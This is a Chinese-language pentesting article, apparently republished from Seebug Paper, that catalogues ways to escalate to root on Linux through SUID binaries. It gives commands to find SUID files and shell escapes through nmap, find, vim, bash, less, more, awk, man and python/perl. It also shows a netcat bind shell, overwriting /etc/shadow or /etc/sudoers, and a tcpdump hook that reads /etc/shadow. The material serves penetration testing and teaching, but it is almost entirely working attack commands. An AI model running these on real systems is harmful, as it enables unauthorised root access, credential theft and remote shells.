作者:Evi1cg
Linux提權中,可以用的SUID文件來提權,SUID的作用就是:讓本來沒有相應權限的用戶運行這個程序時,可以訪問沒有權限訪問的資源。通常可以使用一下命令來找有SUID標志位的文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
例如nmap
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
存在s 則表示其存在SUID標志位,并擁有root的執行權限。以下是幾類可用于提權的文件總結:
1.Nmap
老版本的nmap(2.02-5.21)有 interactive,是允許用戶執行系統命令的。提權方式
nmap --interactive
之后執行命令:
nmap> !sh
sh-3.2# whoami
root
msf中的模塊為:
exploit/unix/local/setuid_nmap
2.Find
touch test
find test -exec whoami \;
如果服務器上裝了nc,可以直接使用以下命令進行監聽:
find test -exec netcat -lvp 5555 -e /bin/sh \;
之后進行連接:
netcat 192.168.1.100 5555
則可獲取root shell
3.vim/vi
打開vim,按下ESC
:set shell=/bin/sh
:shell
則可執行命令
4.bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
5.less
less /etc/passwd
!/bin/sh
6.more
more /home/pelle/myfile
!/bin/bash
7.cp
使用cp覆蓋 /etc/shadow
8.mv
使用mv 覆蓋 /etc/shadow 或者/etc/sudoers
9.awk
awk 'BEGIN {system("/bin/bash")}'
10.man
man passwd
!/bin/bash
11.python/perl/ruby/lua/etc
perl
exec "/bin/bash";
python
import os
os.system("/bin/bash")
12.tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
歡迎補充。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/485/
暫無評論